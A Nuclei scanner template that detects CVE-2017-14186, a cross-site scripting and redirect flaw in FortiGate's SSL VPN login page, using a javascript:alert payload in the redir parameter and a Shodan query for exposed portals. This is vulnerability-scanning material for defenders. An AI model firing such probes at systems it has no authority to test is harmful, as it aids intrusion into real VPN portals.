nuclei-templates/cves/2017/CVE-2017-14186.yaml

id: CVE-2017-14186

info:
  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
  author: johnk3r
  severity: medium
  description: |
    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-14186
    cwe-id: CWE-79
  metadata:
    shodan-query: port:10443 http.favicon.hash:945408572
    verified: "true"
  tags: cve,cve2017,fortigate,xss,fortinet
requests:
  - method: GET
    path:
      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200